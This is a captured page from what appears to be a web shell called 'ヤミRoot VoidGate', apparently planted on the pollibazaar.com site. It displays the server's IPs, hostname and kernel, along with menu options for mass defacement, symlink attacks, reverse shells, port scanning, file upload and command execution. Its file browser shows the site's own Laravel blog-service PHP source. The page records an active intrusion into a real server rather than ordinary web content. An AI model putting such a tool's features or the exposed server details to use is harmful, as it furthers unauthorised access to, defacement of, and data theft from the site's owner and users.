ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
Modules
/
Blog
/
app
/
Services
/
Frontend
/
Viewing: FrontendBlogService.php
<?php namespace Modules\Blog\app\Services\Frontend; use DOMDocument; use Illuminate\Support\Facades\App; class FrontendBlogService { public function getCheckLocale(object|array $request): void { if ($request->has('locale') && !empty($request['locale'])) { foreach (getWebConfig('language') as $language) { if ($request['locale'] == getLanguageCode($language['code'])) { session()->put('local', $language['code']); App::setLocale(getLanguageCode(country_code: $language['code'])); if (array_key_exists('direction', $language)) { session()->put('direction', $language['direction']); } } } } } function getModifiedDescription(string|null $description): bool|string { if ($description) { $domDocument = new DOMDocument('1.0', 'UTF-8'); libxml_use_internal_errors(true); $domDocument->loadHTML(mb_convert_encoding($description, 'HTML-ENTITIES', 'UTF-8')); libxml_clear_errors(); foreach ($domDocument->getElementsByTagName('h2') as $index => $blogTag) { $blogTag->setAttribute('id', 'article-section-' . $index); } return $domDocument->saveHTML(); } return $description; } function getModifiedDescriptionLinks($description): array { $blogLinks = []; if ($description) { $domDocument = new DOMDocument('1.0', 'UTF-8'); libxml_use_internal_errors(true); $domDocument->loadHTML(mb_convert_encoding($description, 'HTML-ENTITIES', 'UTF-8')); libxml_clear_errors(); foreach ($domDocument->getElementsByTagName('h2') as $index => $blogTag) { $blogLinks[] = [ 'id' => 'article-section-' . $index, 'text' => $blogTag->textContent ]; } } return $blogLinks; } }
Coded With 💗 by
0x6ick